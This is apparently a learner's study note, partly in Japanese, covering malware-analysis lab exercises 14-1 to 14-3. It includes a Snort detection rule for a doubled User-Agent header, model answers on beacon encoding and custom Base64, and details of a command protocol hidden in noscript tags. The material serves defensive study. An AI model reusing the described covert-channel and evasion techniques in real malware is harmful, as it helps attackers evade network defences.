以下のシグネチャはマルウェアが使用するユーザーエージェントを検知する。
alert tcp any any -> any any (msg:"Lab14-03.exe Double User-Agent header"; content:"T "; offset:2; depth:3; content:"HTTP/1."; distance:0; content:"User-Agent: User-Agent: ")
模範解答
Lab 14-1
1. The program contains the URLDownloadToCacheFile function, which uses the COM interface. When malware uses COM interfaces, most of the content of its HTTP requests comes from within Windows itself, and therefore cannot be effectively targeted using network signatures.
2. The source elements are part of the host's GUID and the username. The GUID is unique for any individual host OS, and the 6-byte portion used in the beacon should be relatively unique. The username will change depending on who is logged in to the system.
3. The attacker may want to track the specific hosts running the downloader and target specific users.
4. The Base64 encoding is not standard since it uses an a instead of an equal sign (=) for its padding.
5. This malware downloads and executes other code.
6. The elements of the malware communication to be targeted include the domain name, the colons and the dash found after Base64 decoding, and the fact that the last character of the Base64 portion of the URI is the single character used for the filename of the PNG file.
7. Defenders may try to target elements other than the URI if they don't realize that the OS determines them. In most cases, the Base64 string ends with an a, which usually makes the filename appear as a.png. However, if the username length is an even multiple of three, both the final character and the filename will depend on the last character in the encoded username. In this case, the filename is unpredictable.
8. See the detailed analysis for recommended signatures.
Lab 14-2
1. The attacker may find static IP addresses more difficult to manage than domain names. Using DNS allows the attacker to deploy his assets to any computer and dynamically redirect his bots by changing only a DNS address. The defender has various options for deploying defenses for both types of infrastructure, but for similar reasons, IP addresses can be more difficult to deal with than domain names. This fact alone could lead an attacker to choose static IP addresses over domains.
2. The malware uses the WinINet libraries. One disadvantage of these libraries is that a hard-coded User-Agent needs to be provided, and optional headers need to be hard-coded if desired. One advantages of the WinINet libraries over the Winsock API, for example, is that some elements, such as cookies and caching headers, are provided by the OS.
3. A string resource section in the PE file contains the URL that is used for command and control. The attacker can use the resource section to deploy multiple backdoors to multiple command-and-control locations without needing to recompile the malware.
4. The attackers abuses the HTTP UserAgent field, which should contain the application information. The malware creates one thread that encodes outgoing information in this field, and another that uses a static field to indicate that it is the "receive" side of the channel.
5. The initial beacon is an encoded command-shell prompt.
6. While the attacker encodes outgoing information, he doesn't encode the incoming commands. Also, because the server must distinguish between the two communication channels via the static elements of the User-Agent fields, this server dependency is apparent and can be targeted with signatures.
7. The encoding scheme is Base64, but with a custom alphabet.
8. Communication is terminated using the keyword exit. When exiting, the malware tries to delete itself.
9. This malware is a small, simple backdoor. Its sole purpose is to provide a command-shell interface to a remote attacker that won't be detected by common network signatures that watch for outbound command-shell activity. This particular malware is likely a throwaway component of an attacker's toolkit, which is supported by the fact that the tool tries to delete itself.
Lab 14-3
1. The hard-coded headers include Accept, Accept-Language, UA-CPU, Accept-Encoding, and User-Agent. The malware author mistakenly adds an additional User-Agent: in the actual User-Agent, resulting in a duplicate string: User-Agent: User-Agent: Mozilla... The complete User-Agent header (including the duplicate) makes an effective signature.
2. Both the domain name and path of the URL are hard-coded only where the configuration file is unavailable. Signatures should be made for this hard-coded URL, as well as any configuration files observed. However, it would probably be more fruitful to target just the hard-coded components than to link them with the more dynamic URL. Because the URL used is stored in a configuration file and can be changed with one of the commands, we know that it is ephemeral.
3. The malware obtains commands from specific components of a web page from inside noscript tags, which is similar to the Comment field example mentioned in the chapter. Using this technique, malware can beacon to a legitimate web page and receive legitimate content, making analysis of malicious versus legitimate traffic more difficult for a defender.
4. In order for content to be interpreted as a command, it must include an initial noscript tag followed by a full URL (including http://) that contains the same domain name being used for the original web page request. The path of that URL must end with 96'. Between the domain name and the 96 (which is truncated), two sections compose command and arguments (in a form similar to /command/1213141516). The first letter of the command must correspond with an allowed command, and, when applicable, the argument must be translatable into a meaningful argument for the give command.
The malware author limits the strings available to provide clues about the malware functionality. When searching for noscript, the malware searches for <no, and then verifies the noscript tag with independent and scrambled chracter comparisons. The malware also reuses the same buffer used for the domain to check for command content. The other string search for 96' is only three characters and the only other searches are for the / character. When evaluating the command, only the first character is considered, so the attacker may, for example, give the malware the command to sleep with either the word soft or seller in the web response. Traffic analysis might identify the attacker's use of the word soft to send a command to the malware, and that might lead to the misguided use of the complete word in a signature. The attacker is free to use seller or any other word starting with s without modification of the malware.
5. There is no encoding for the sleep command; the number represents the number of seconds to sleep. For two of the commands, the argument is encoded with a custom, albeit simple, encoding that is not Base64. The argument is presented as an even number of digits (once the trailing 96 is removed). Each set of two digits represents the raw number that is an index into the array /abcdefghijklmnopqrstuvwxyz0123456789:.. These arguments are used only to communicate URLs, so there is no need for capital characters. The advantage to this scheme is that it is nonstandard, so we need to reverse-engineer it in order to understand its content. The disadvantage is that it is simple. It may be identified as suspicious in strings output, and because the URLs always begin in the same way, there will be a consistent pattern.
6. The malware commands include quit, download, sleep, and redirect. The quit command simply quits the program. The download command downloads and runs an executable, except that, unlike in the previous lab, the attacker can specify the URL from which to download. The redirect command modifies the configuration file used by the malware so that there is a new beacon URL.
7. This malware is inherently a downloader. It comes with some important advantages, such as web-based control and the ability to easily adjust as malicious domains are identified and shut down.
8. Some distinct elements of malware behavior that may be independently targetable include the following:
- Signatures related to the statically defined domain and path and similar information from any dynamically discovered URLs
- Signatures related to the static components of the beacon
- Signatures that identify the initial requirements for a command
- Signatures that identify specific attributes of command and argument paris
9. See the detailed analysis for specific signatures.
答え合わせ
Lab 14-1
自分の解析には以下の事柄が不足していた。
- マルウェアがダウンロードするPNGのファイル名はカスタムBase64エンコードされたURLパスの最後の1文字から取られる。
Lab 14-3
自分の解析には以下の事柄が不足していた。
- C2サーバーから送られるコマンドの終端文字列は
96'
- URLのデコード処理 (サブルーチン 0x401147) の詳細な解析。(
<noscript>
タグに含まれているデータを2バイトずつ取り出して整数に変換した後、換字表/abcdefghijklmnopqrstuvwxyz0123456789:.
のインデックスとして使用する。) - C2サーバーのレスポンスのフォーマットは以下の通り。
<noscript>[encoded URL]/[command (d|n|s|r)]/arg96'